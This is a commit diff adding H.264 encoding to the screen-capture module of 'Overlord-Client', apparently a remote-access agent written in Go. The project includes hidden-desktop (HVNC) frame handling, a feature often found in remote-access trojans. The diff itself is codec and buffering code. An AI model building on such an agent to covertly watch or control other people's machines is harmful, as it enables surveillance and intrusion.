add h264. Should hopefully be good for now. not going to push docker build until fully tested.

Overlord-Client/cmd/agent/capture/capture.go

@@ -22,6 +22,7 @@ import (
 
 func Loop(ctx context.Context, env *rt.Env) {
 	defer recoverAndLog("capture loop", env.Cancel)
+	logCodecSupport()
 
 	if env.Cfg.DisableCapture {
 		log.Printf("capture: disabled by config, sending black placeholder")
@@ -288,6 +289,8 @@ var (
 
 	overrideQuality atomic.Int64
 	overrideCodec   atomic.Value
+	h264WarnOnce    sync.Once
+	codecLogOnce    sync.Once
 
 	prevMu    sync.Mutex
 	prevFrame *prevImage
@@ -299,6 +302,16 @@ type prevImage struct {
 	pix []byte
 }
 
+func logCodecSupport() {
+	codecLogOnce.Do(func() {
+		if h264Available() {
+			log.Printf("capture: codec support h264=enabled jpeg=enabled")
+			return
+		}
+		log.Printf("capture: codec support h264=disabled (cgo off), jpeg=enabled")
+	})
+}
+
 func frameFPS(now time.Time) int {
 	start := fpsWindowStart.Load()
 	if start == 0 {
@@ -357,6 +370,7 @@ func ResetPrev() {
 	prevMu.Unlock()
 	lastKeyframe.Store(0)
 	requestFullFrames(2)
+	resetH264Encoder()
 }
 
 func jpegQuality() int {
@@ -451,6 +465,22 @@ func buildFrame(img *image.RGBA, display int, quality int) (wire.Frame, time.Dur
 	now := time.Now()
 	codec := blockCodec()
 
+	if codec == "h264" {
+		h264Bytes, err := encodeH264Frame(img)
+		if err == nil && len(h264Bytes) > 0 {
+			prevMu.Lock()
+			copyPrev(img)
+			prevMu.Unlock()
+			lastKeyframe.Store(now.UnixNano())
+			statFullFrames.Add(1)
+			return wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "h264"}, Data: h264Bytes}, time.Since(encStart), nil
+		}
+		h264WarnOnce.Do(func() {
+			log.Printf("capture: h264 encode unavailable, falling back to jpeg: %v", err)
+		})
+		codec = "jpeg"
+	}
+
 	if !enableBlocks {
 		jpegBytes, err := encodeJPEG(img, quality)
 		prevMu.Lock()
@@ -494,10 +524,8 @@ func buildFrame(img *image.RGBA, display int, quality int) (wire.Frame, time.Dur
 	}
 
 	if blocks == 0 {
-
-		prevMu.Lock()
-		copyPrev(img)
-		prevMu.Unlock()
+		// Keepalive frames indicate no block-level changes, so avoid copying the
+		// full RGBA buffer into prevFrame again.
 		statKeepaliveFrames.Add(1)
 		return wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "blocks"}, Data: blockPayload}, encDur, nil
 	}
@@ -555,9 +583,8 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time
 	}
 
 	if blocks == 0 {
-		prevMu.Lock()
-		copyPrev(img)
-		prevMu.Unlock()
+		// Keepalive frames indicate no block-level changes, so avoid copying the
+		// full RGBA buffer into prevFrame again.
 		statKeepaliveFrames.Add(1)
 		frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "blocks", HVNC: true}, Data: blockPayload}
 		return frame, encDur, nil
@@ -1125,6 +1152,8 @@ func blockCodec() string {
 	blockCodecOnce.Do(func() {
 		codec := strings.ToLower(os.Getenv(blockCodecEnv))
 		switch codec {
+		case "h264":
+			cachedBlockCodec = "h264"
 		case "raw", "rgba":
 			cachedBlockCodec = "raw"
 		case "jpeg", "":
@@ -1144,13 +1173,22 @@ func SetQualityAndCodec(quality int, codec string) {
 		overrideQuality.Store(int64(quality))
 	}
 	s := strings.ToLower(strings.TrimSpace(codec))
+	if s == "h264" && !h264Available() {
+		log.Printf("capture: requested codec=h264 but unavailable; forcing codec=jpeg")
+		s = "jpeg"
+	}
 	switch s {
-	case "raw", "rgba", "jpeg":
+	case "raw", "rgba", "jpeg", "h264":
 		overrideCodec.Store(s)
+		h264WarnOnce = sync.Once{}
+		if s != "h264" {
+			resetH264Encoder()
+		}
 	case "":
 
 	default:
 		overrideCodec.Store("jpeg")
+		resetH264Encoder()
 	}
 }
 

Overlord-Client/cmd/agent/capture/h264_encoder_stub.go

@@ -0,0 +1,18 @@
+//go:build !cgo
+
+package capture
+
+import (
+	"errors"
+	"image"
+)
+
+func encodeH264Frame(_ *image.RGBA) ([]byte, error) {
+	return nil, errors.New("h264 support not available (cgo disabled)")
+}
+
+func h264Available() bool {
+	return false
+}
+
+func resetH264Encoder() {}

Overlord-Client/cmd/agent/capture/h264_encoder_x264.go

@@ -0,0 +1,89 @@
+//go:build cgo
+
+package capture
+
+import (
+	"bytes"
+	"image"
+	"sync"
+
+	x264 "github.com/gen2brain/x264-go"
+)
+
+var (
+	h264Mu     sync.Mutex
+	h264Enc    *x264.Encoder
+	h264Buf    bytes.Buffer
+	h264Width  int
+	h264Height int
+)
+
+func encodeH264Frame(img *image.RGBA) ([]byte, error) {
+	bounds := img.Bounds()
+	width := bounds.Dx()
+	height := bounds.Dy()
+
+	h264Mu.Lock()
+	defer h264Mu.Unlock()
+
+	if err := ensureH264EncoderLocked(width, height); err != nil {
+		return nil, err
+	}
+
+	h264Buf.Reset()
+	if err := h264Enc.Encode(img); err != nil {
+		return nil, err
+	}
+
+	out := make([]byte, h264Buf.Len())
+	copy(out, h264Buf.Bytes())
+	return out, nil
+}
+
+func h264Available() bool {
+	return true
+}
+
+func ensureH264EncoderLocked(width, height int) error {
+	if h264Enc != nil && h264Width == width && h264Height == height {
+		return nil
+	}
+
+	closeH264EncoderLocked()
+
+	opts := &x264.Options{
+		Width:     width,
+		Height:    height,
+		FrameRate: 25,
+		Tune:      "zerolatency",
+		Preset:    "ultrafast",
+		Profile:   "baseline",
+		LogLevel:  x264.LogError,
+	}
+
+	enc, err := x264.NewEncoder(&h264Buf, opts)
+	if err != nil {
+		return err
+	}
+
+	h264Enc = enc
+	h264Width = width
+	h264Height = height
+	return nil
+}
+
+func resetH264Encoder() {
+	h264Mu.Lock()
+	defer h264Mu.Unlock()
+	closeH264EncoderLocked()
+}
+
+func closeH264EncoderLocked() {
+	if h264Enc != nil {
+		_ = h264Enc.Close()
+		h264Enc = nil
+	}
+	h264Width = 0
+	h264Height = 0
+	h264Buf.Reset()
+}